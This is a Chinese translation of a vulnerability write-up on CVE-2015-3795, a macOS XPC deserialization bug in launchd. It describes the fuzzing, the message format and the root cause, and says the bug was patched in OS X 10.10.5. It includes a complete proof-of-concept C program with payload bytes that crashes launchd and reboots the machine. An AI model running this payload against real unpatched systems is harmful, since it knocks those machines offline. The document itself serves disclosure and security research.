CVE-2015-3795

wyzsk發表於2020-08-19
作者: vvun91e0n · 2016/01/15 9:39

http://blog.wuntee.sexy/CVE-2015-3795/

0x00 背景


這個漏洞是6月4號報告給蘋果公司。在8月13號釋出的10.10.5安全更新中得到修補。

相關資訊:

0x01 mach_shark


在之前的幾篇文章裡我已經幾次提到過mach_shark。該工具的一個用途就是可以製作一個小的c存根函式(c-stub),該存根允許你重放mach訊息。正如之前文章提到的,基於MACH的IPC有個狀態的概念。雖然由mach_shark生成的c存根函式沒有實現與任意程式互動的所有的狀態控制。但是它還是提供了一個起始點來進行最小的fuzz。我可以傳送訊息到kernel或者bootstrap/launchd。

那麼現在可以做什麼呢?找到我能找到的最複雜的訊息,來開始進行最簡單的fuzzer。

攻擊面看起來最大的區域就是open命令。特別是我很感興趣如何在預設瀏覽器沒有開啟的情況下,透過正確的使用者資料,執行一條像open http://wuntee.sexy的命令來開啟瀏覽器,讓它指向該URL。

在透過mach_shark執行了open命令之後,審閱300個左右的IPC請求,其中一個看起來是個很好的入口點。一個非常大且複雜的XPC訊息,看起來還包含了一些objective-c的類名稱。

p1

0x02 fuzzing和crashing


上面提到的c存根函式的輸出是非常簡單的,但是它構建了正確的MACH訊息,並且正確的提取了原始訊息想要連線通訊的埠。一個輸出示例如下:

#!php
kern_return_t ret=task_get_bootstrap_port(mach_task_self(),&bp);
ret=bootstrap_look_up(bp,"com.apple.CoreServices.coreservicesd",&port);
Unsignedchar payload[]={...};
mach_msg_header_t* msg=(mach_msg_header_t*)payload;
msg->msgh_remote_port=port;
msg->msgh_local_port=MACH_PORT_NULL;
msg->msgh_bits=MACH_MSGH_BITS_ZERO;
msg->msgh_bits=MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND,MACH_MSG_TYPE_MAKE_SEND_ONCE,MACH_MSG_TYPE_COPY_SEND);
mach_msg_return_t msg_ret=mach_msg_send(msg);

透過從open命令獲取的payload,我就開始來一個簡單的位元組變異fuzzer。但是直接傳送訊息到bootstrap/launchd。有個fuzzer跑起來這讓我很興奮,我讓它直接在我的本地主機上執行。我回頭繼續研究其他的MACH payload,讓fuzzer在後臺跑。過了幾分鐘,我的機器rebooted because of a problem。我當時腦子就只有一句話,沒有比這更簡單的方法了。沒有了。。

導致我機器重啟的原因細節和最後我是如何除錯的crash的過程可以在Debugging launchd on OSX 10.10.3一文中找到。

0x03 xpc序列化/反序列化


然後將fuzzer放到VM裡面來分析剛才發生crash的根本原因。我可以確定crash是在XPC反序列化程式呼叫strlen時發生的。這看起來有點奇怪。

所以我開始深入XPC訊息結構。為此,我建立了一個見到的服務來接受XPC訊息和一個簡單的客戶端程式,用來傳送任意的訊息。同時我使用mach_shark工具來抓取訊息並記錄不同的payload結構。

我抓取的XPC payload基本結構如下:

#!php
[xpc_message_header][xpc_type_$X_1]...[xpc_type_$X_n]

其中的頭結構:

#!php
typedef struct __attribute__((packed)) {
  u_int32_t magic;   // "!CPX"
  u_int32_t version;   // "x05\x00\x00\x00"
  u_int32_t type;
  u_int32_t size;    // From the end of this on
  u_int32_t num_entries;
} xpc_message_header;

後面的xpc_type_$X結構:

#!php
typedef struct __attribute__((packed)) {
  char key[];      // null terminated
  u_int32_t type;
  u_int32_t size;    // From the end of this on
  u_int32_t num_entries;
  unsigned char payload[];
} xpc_type_complex;

typedef struct __attribute__((packed)) {
  char key[];      // null terminated
  u_int32_t type;
  u_int32_t len;
  char str_or_data[];
} xpc_type_string_or_data;

typedef struct __attribute__((packed)) {
  char key[];      // null terminated
  u_int32_t type;
  u_int64_t value;  // Can be uint64, int64, uuid, double
} xpc_type_value;

typedef struct __attribute__((packed)) {
  char key[];      // null terminated
  u_int32_t type;   // Used for external data type like file descriptors and port rights
} xpc_type_novalue;

舉個例子:

#!bash
mach message data:
  21 43 50 58 05 00 00 00 00 f0 00 00 48 00 00 00  !CPX........H...
  02 00 00 00 62 6f 6f 6c 5f 76 61 6c 75 65 5f 74  ....bool_value_t
  72 75 65 00 00 20 00 00 01 00 00 00 73 74 72 69  rue.. ......stri
  6e 67 5f 76 61 6c 75 65 00 00 00 00 00 90 00 00  ng_value........
  11 00 00 00 74 68 69 73 20 69 73 20 61 20 73 74  ....this is a st
  72 69 6e 67 00 00 00 00                          ring....

21 43 50 58: Magic "!CPX"
05 00 00 00: Version 5
00 f0 00 00: Type 'dictionary'
48 00 00 00: Size 72
02 00 00 00: 2 Entries
62 6f 6f 6c 5f 76 61 6c 75 65 5f 74 72 75 65 00 00: Key 'bool_value_true' null terminated / padded
00 20 00 00: Type 'boolean'
01 00 00 00: Value 'true'
73 74 72 69 6e 67 5f 76 61 6c 75 65 00 00 00 00: Key 'string_value' null terminated / padded
00 90 00 00: Type 'string'
11 00 00 00: Size 17, including null termination
74 68 69 73 20 69 73 20 61 20 73 74 72 69 6e 67 00 00 00 00: Value 'this is a string'

0x04 根本原因分析


在我分析crash的時候我完全不明白為什麼在strlen函式上居然可以crash(現在已經搞清楚了)。為了重現crash必須使用一個很大的payload,這讓原因分析變得很困難。更加困難的是因為launchd崩潰了。我不能動態除錯程式碼。不得不用之前文章講到的coredumps來進行分析。我開始試圖逆向libxpc檔案但是這個庫比我想象的要複雜。所有我轉而來編寫自己的XPC訊息序列化分析器([de]serializer)來探測是paylaod觸發了crash。

我使用一個指標來迭代每個目錄項的開始,獲取該值並建立一個新的的xpc_dictionary物件。當我完成編寫這個複雜的型別後,我得到如下程式碼:

#!cpp
for(int i=0; i<xpc_header->num_entries; i++){
  ...
  size_t key_len = strlen(ptr);
  ...
  ptr += key_len;
  ...
  switch(ptr->type){
    case XPC_SERIALIZED_TYPE_COMPLEX: {
      xpc_type_complex* dict_v = (xpc_type_complex*)ptr;
      ...         
      // TKTK: Cant do this!! Size is user controlled
      *next_entry = (char*)(&dict_v->num_entries) + dict_v->size;
      break;
    }
    ...
  }
}

注意其中的註釋。// TKTK: Cant do this!! Size is user controlled。我所做的是構建基礎XPC訊息結構的原始記憶體資料,在type型別的基礎上進行處理。在這個複雜的型別中,有一個入口叫size,需要設定為XPC物件該部分的整個大小值。但是該值是被訊息構建者控制的。所以是不能完全可信的。

當我執行我的反序列化程式來處理導致crash的那段payload時,同樣我的程式碼也在strlen函式處crash了。我告訴自己這不可能是巧合。在對我的反序列化程式進行單步跟蹤後,原因就很清晰了,和我的程式碼一樣,libxpc程式碼信任了這個複雜型別的length值,基於該值增加了指標的值,並認為這就是下一個鍵的地址。如果你設定了這樣的值,程式就嘗試去從當前offset+0xFFFFFFFF處讀取一個字串,這就導致了一個segfault。

0x05 證明我的猜測


下一步就是構建一個任意的payload來測試這個理論。當然我想用程式來實現,所以我寫了一個庫檔案,包含一些自定義的xpc_objects將他們序列化打包進一個原始的XPC包中。為了能控制所有XPC物件的資料,我必須重新生成每個自定型別。之後我建立了一個最小的payload來觸發crash。

因為這是傳送到launchd,我需要一個程式來真實嘗試反序列化我的XPC物件。基於一些之前的我對launchctl做的研究,我知道需要傳送一個基本的XPC結構。這些包括handle,subsystem,routine鍵。我用來處理複雜字串的程式碼如下:

#!cpp
xpc_serialization_value* vals[4] = {0,0,0,0};
vals[0] = create_xpc_serialization_uint64("handle", 1);
vals[1] = create_xpc_serialization_uint64("subsystem", 1);
vals[2] = create_xpc_serialization_string("a", "a");
((xpc_string_value*)vals[2]->value_pointer)->len = -1;
vals[3] = create_xpc_serialization_uint64("routine", 1);
xpc_serialized_object* obj = serialize_xpc_object(vals, 4);
// Print raw bytes of xpc_serialized_object// Output => {0x21, 0x43, 0x50, 0x58, 0x05, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x00, 0x5c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x68, 0x61, 0x6e, 0x64, 0x6c, 0x65,0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x75, 0x62, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x61, 0x00, 0x00, 0x00, 0x72, 0x6f, 0x75, 0x74, 0x69, 0x6e, 0x65, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

觸發crash的程式碼:

#!objc
#include <xpc/xpc.h>
void send_payload(void * xpc_payload, unsigned int xpc_payload_size){
        unsigned int size = sizeof(mach_msg_header_t) + xpc_payload_size;
        unsigned char* payload = calloc(size, sizeof(char));

        memcpy(payload+sizeof(mach_msg_header_t), xpc_payload, xpc_payload_size);

        mach_port_t port;
        kern_return_t ret = task_get_bootstrap_port(mach_task_self(), &port);
        mach_msg_header_t *msg = (mach_msg_header_t *)payload;
        msg->msgh_id = 0x10000000;
        msg->msgh_remote_port = port;
        msg->msgh_local_port = MACH_PORT_NULL;
        msg->msgh_bits = MACH_MSGH_BITS_ZERO;
        msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);

        mach_msg_return_t msg_ret;
        msg->msgh_size = size;
        msg_ret = mach_msg_send(msg);
}

int main(){
        unsigned char payload[] = {0x21, 0x43, 0x50, 0x58, 0x05, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x00, 0x5c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x68, 0x61, 0x6e, 0x64, 0x6c, 0x65,0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x75, 0x62, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x61, 0x00, 0x00, 0x00, 0x72, 0x6f, 0x75, 0x74, 0x69, 0x6e, 0x65, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
        send_payload(payload, sizeof(payload));

        return(0);
}%

分析payload,我們可以看到:

#!bash
21 43 50 58: Macing "!CPX"
05 00 00 00: Version 5
00 f0 00 00: Type 'dictionary'
5c 00 00 00: Size 0x5c
04 00 00 00: 4 entries
68 61 6e 64 6c 65 00 00: Key 'handle'
00 40 00 00: Type 'uint64'
01 00 00 00 00 00 00 00: Value 1
73 75 62 73 79 73 74 65 6d 00 00 00: Key 'subsystem'
00 40 00 00: Type 'uint64'
01 00 00 00 00 00 00 00: Value 1
61 00 00 00: Key 'a'
00 90 00 00: Type 'string' 
ff ff ff ff: Size 0xFFFFFFFF    ** TRIGGER CRASH **
61 00 00 00: Value 'a'
72 6f 75 74 69 6e 65 00: Key 'routine'
00 40 00 00: Type 'uint64'
01 00 00 00 00 00 00 00: Value '1'

蘋果公司已經修復了這個bug的特殊的例項。但是在我審計到10.11之前我發現這個bug的類依然還是存在於最新的10.10中。在10.11中,蘋果公司已經將使用者空間的‘mach_msg_send’函式變為使用另一個在libxpc.dylib中的函式,該函式不需要使用mach_msg_send。我還沒有在OS X 10.11+中找到任何的crash。

0x06 影響和利用


看起來OSX IPC正在向所有的程式都使用XPC轉移。雖然我沒有測試在XPC程式核心的各個角落(我沒有太努力尋找),但是就在OSX系統PID1程式launchd(類似於Linux裡的init)中找到了這個bug。況且有很多的IPC服務以root許可權執行,非特權使用者都使用XPC來進行通訊。所以如果這個bug可以被利用的話,將非常危險。

這個bug是一個任意向前讀。從基礎的理論證明來看,基本很難被利用(我的溢位利用技術很不足)。我所知道的一些理論:

  • 也許可以利用這個bug來實現記憶體洩露,如果你可以建立一個堆使得offset成為一個XPC訊息的key值,但是基本上還是會crash,因為它阻止了之後的序列化資料。
  • 一些更加複雜的MACH訊息包含更復雜的邏輯功能。比如埠的轉移許可權,檔案描述符的擁有許可權等。它們也可能存在有利用潛力的其他程式碼缺陷,可以導致crash。
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!